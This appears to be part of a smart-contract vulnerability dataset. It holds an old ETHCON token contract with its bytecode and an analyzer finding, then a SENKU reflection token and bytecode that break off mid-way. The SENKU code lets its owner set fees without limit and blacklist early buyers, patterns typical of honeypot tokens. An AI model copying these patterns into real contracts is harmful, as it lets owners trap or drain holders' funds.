/// @return success True if completed, false otherwise function transfer(TokenStorage storage self, address _to, uint256 _value) returns (bool success) { bool err; uint256 balance; (err,balance) = self.balances[msg.sender].minus(_value); if(err) { ErrorMsg("Balance too low for transfer"); return false; } self.balances[msg.sender] = balance; //It&#39;s not possible to overflow token supply self.balances[_to] = self.balances[_to] + _value; Transfer(msg.sender, _to, _value); return true; } /// @dev Authorized caller transfers tokens from one account to another /// @param self Stored token from token contract /// @param _from Address to send tokens from /// @param _to Address to send tokens to /// @param _value Number of tokens to send /// @return success True if completed, false otherwise function transferFrom(TokenStorage storage self, address _from, address _to, uint256 _value) returns (bool success) { var _allowance = self.allowed[_from][msg.sender]; bool err; uint256 balanceOwner; uint256 balanceSpender; (err,balanceOwner) = self.balances[_from].minus(_value); if(err) { ErrorMsg("Balance too low for transfer"); return false; } (err,balanceSpender) = _allowance.minus(_value); if(err) { ErrorMsg("Transfer exceeds allowance"); return false; } self.balances[_from] = balanceOwner; self.allowed[_from][msg.sender] = balanceSpender; self.balances[_to] = self.balances[_to] + _value; Transfer(_from, _to, _value); return true; } /// @dev Retrieve token balance for an account /// @param self Stored token from token contract /// @param _owner Address to retrieve balance of /// @return balance The number of tokens in the subject account function balanceOf(TokenStorage storage self, address _owner) constant returns (uint256 balance) { return self.balances[_owner]; } /// @dev Authorize an account to send tokens on caller&#39;s behalf /// @param self Stored token from token contract /// @param _spender Address to authorize /// @param _value Number of tokens authorized account may send /// @return success True if completed, false otherwise function approve(TokenStorage storage self, address _spender, uint256 _value) returns (bool success) { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Remaining tokens third party spender has to send /// @param self Stored token from token contract /// @param _owner Address of token holder /// @param _spender Address of authorized spender /// @return remaining Number of tokens spender has left in owner&#39;s account function allowance(TokenStorage storage self, address _owner, address _spender) constant returns (uint256 remaining) { return self.allowed[_owner][_spender]; } } library BasicMathLib { event Err(string typeErr); /// @dev Multiplies two numbers and checks for overflow before returning. /// Does not throw but rather logs an Err event if there is overflow. /// @param a First number /// @param b Second number /// @return err False normally, or true if there is overflow /// @return res The product of a and b, or 0 if there is overflow function times(uint256 a, uint256 b) constant returns (bool err,uint256 res) { assembly{ res := mul(a,b) jumpi(allGood, or(iszero(b), eq(div(res,b), a))) err := 1 res := 0 allGood: } if (err) Err("times func overflow"); } /// @dev Divides two numbers but checks for 0 in the divisor first. /// Does not throw but rather logs an Err event if 0 is in the divisor. /// @param a First number /// @param b Second number /// @return err False normally, or true if `b` is 0 /// @return res The quotient of a and b, or 0 if `b` is 0 function dividedBy(uint256 a, uint256 b) constant returns (bool err,uint256 res) { assembly{ jumpi(e, iszero(b)) res := div(a,b) mstore(add(mload(0x40),0x20),res) return(mload(0x40),0x40) e: } Err("tried to divide by zero"); return (true, 0); } /// @dev Adds two numbers and checks for overflow before returning. /// Does not throw but rather logs an Err event if there is overflow. /// @param a First number /// @param b Second number /// @return err False normally, or true if there is overflow /// @return res The sum of a and b, or 0 if there is overflow function plus(uint256 a, uint256 b) constant returns (bool err, uint256 res) { assembly{ res := add(a,b) jumpi(allGood, and(eq(sub(res,b), a), gt(res,b))) err := 1 res := 0 allGood: } if (err) Err("plus func overflow"); } /// @dev Subtracts two numbers and checks for underflow before returning. /// Does not throw but rather logs an Err event if there is underflow. /// @param a First number /// @param b Second number /// @return err False normally, or true if there is underflow /// @return res The difference between a and b, or 0 if there is underflow function minus(uint256 a, uint256 b) constant returns (bool err,uint256 res) { assembly{ res := sub(a,b) jumpi(allGood, eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1)) err := 1 res := 0 allGood: } if (err) Err("minus func underflow"); } } contract ETHCONEarlyBirdToken { using ERC20Lib for ERC20Lib.TokenStorage; ERC20Lib.TokenStorage token; string public name = "ETHCON-Early-Bird"; string public symbol = "THX"; uint public decimals = 0; uint public INITIAL_SUPPLY = 600; event ErrorMsg(string msg); function ETHCONEarlyBirdToken() { token.init(INITIAL_SUPPLY); } function totalSupply() constant returns (uint) { return token.totalSupply; } function balanceOf(address who) constant returns (uint) { return token.balanceOf(who); } function allowance(address owner, address spender) constant returns (uint) { return token.allowance(owner, spender); } function transfer(address to, uint value) returns (bool ok) { if(token.balanceOf(to) == 0){ return token.transfer(to, value); } else { ErrorMsg("Recipient already has token"); return false; } } function transferFrom(address from, address to, uint value) returns (bool ok) { if(token.balanceOf(to) == 0){ return token.transferFrom(from, to, value); } else { ErrorMsg("Recipient already has token"); return false; } } function approve(address spender, uint value) returns (bool ok) { return token.approve(spender, value); } event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); }
0x606060405236156100885763ffffffff60e060020a60003504166306fdde03811461008a578063095ea7b31461011a57806318160ddd1461014d57806323b872dd1461016f5780632ff2e9dc146101a8578063313ce567146101ca57806370a08231146101ec57806395d89b411461021a578063a9059cbb146102aa578063dd62ed3e146102dd575bfe5b341561009257fe5b61009a610311565b6040805160208082528351818301528351919283929083019185019080838382156100e0575b8051825260208311156100e057601f1990920191602091820191016100c0565b505050905090810190601f16801561010c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561012257fe5b610139600160a060020a036004351660243561039f565b604080519115158252519081900360200190f35b341561015557fe5b61015d61042d565b60408051918252519081900360200190f35b341561017757fe5b610139600160a060020a0360043581169060243516604435610434565b604080519115158252519081900360200190f35b34156101b057fe5b61015d610597565b60408051918252519081900360200190f35b34156101d257fe5b61015d61059d565b60408051918252519081900360200190f35b34156101f457fe5b61015d600160a060020a03600435166105a3565b60408051918252519081900360200190f35b341561022257fe5b61009a610629565b6040805160208082528351818301528351919283929083019185019080838382156100e0575b8051825260208311156100e057601f1990920191602091820191016100c0565b505050905090810190601f16801561010c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102b257fe5b610139600160a060020a03600435166024356106b7565b604080519115158252519081900360200190f35b34156102e557fe5b61015d600160a060020a0360043581169060243516610815565b60408051918252519081900360200190f35b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103975780601f1061036c57610100808354040283529160200191610397565b820191906000526020600020905b81548152906001019060200180831161037a57829003601f168201915b505050505081565b6040805160006020918201819052825160e360020a630b75b46702815260048101829052600160a060020a038616602482015260448101859052925190927371ecde7c4b184558e8dba60d9f323d7a8741194692635bada33892606480840193829003018186803b151561040f57fe5b6102c65a03f4151561041d57fe5b5050604051519150505b92915050565b6002545b90565b6040805160006020918201819052825160e260020a63345c5ff502815260048101829052600160a060020a0386166024820152925190927371ecde7c4b184558e8dba60d9f323d7a874119469263d1717fd492604480840193829003018186803b151561049d57fe5b6102c65a03f415156104ab57fe5b5050604051511515905061054f576040805160006020918201819052825160e060020a63450087970281526004810191909152600160a060020a038088166024830152861660448201526064810185905291517371ecde7c4b184558e8dba60d9f323d7a87411946926345008797926084808301939192829003018186803b151561053257fe5b6102c65a03f4151561054057fe5b505060405151915061058f9050565b604080516020808252601b908201526000805160206108c58339815191528183015290516000805160206108a58339815191529181900360600190a15060005b5b9392505050565b60065481565b60055481565b6040805160006020918201819052825160e260020a63345c5ff502815260048101829052600160a060020a0385166024820152925190927371ecde7c4b184558e8dba60d9f323d7a874119469263d1717fd492604480840193829003018186803b151561060c57fe5b6102c65a03f4151561061a57fe5b5050604051519150505b919050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103975780601f1061036c57610100808354040283529160200191610397565b820191906000526020600020905b81548152906001019060200180831161037a57829003601f168201915b505050505081565b6040805160006020918201819052825160e260020a63345c5ff502815260048101829052600160a060020a0386166024820152925190927371ecde7c4b184558e8dba60d9f323d7a874119469263d1717fd492604480840193829003018186803b151561072057fe5b6102c65a03f4151561072e57fe5b505060405151151590506107ca576040805160006020918201819052825160e060020a632d0277b90281526004810191909152600160a060020a03861660248201526044810185905291517371ecde7c4b184558e8dba60d9f323d7a8741194692632d0277b9926064808301939192829003018186803b15156107ad57fe5b6102c65a03f415156107bb57fe5b50506040515191506104279050565b604080516020808252601b908201526000805160206108c58339815191528183015290516000805160206108a58339815191529181900360600190a1506000610427565b5b92915050565b6040805160006020918201819052825160e460020a63088fd65102815260048101829052600160a060020a03808716602483015285166044820152925190927371ecde7c4b184558e8dba60d9f323d7a87411946926388fd651092606480840193829003018186803b151561040f57fe5b6102c65a03f4151561041d57fe5b5050604051519150505b929150505600fda92d3eab1d27b971923f5a2ea4107b7a0513584e8f3adf52ea0557e10e8e9e526563697069656e7420616c72656164792068617320746f6b656e0000000000a165627a7a72305820eea4702c731ddd34905a5388a17d5631747f8f76bd9a19e92a873d4990779ed40029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
8,373
0xcb45919988f030c5ad1157cd9ac468d5ee2d15bd
/** SENKU https://t.me/SENKUinuToken */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SenkuToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SENKU";// string private constant _symbol = "SENKU";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 10;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 20;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x0eBADA883335e764Bc6252d5DBd47ca71C7390AB);// address payable private _marketingAddress = payable(0x601CD39486d15c591A12E618Fdf90402E6A44aD7);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 16000000000 * 10**9; // uint256 public _maxWalletSize = 33000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600581526020017f53454e4b55000000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f53454e4b55000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffff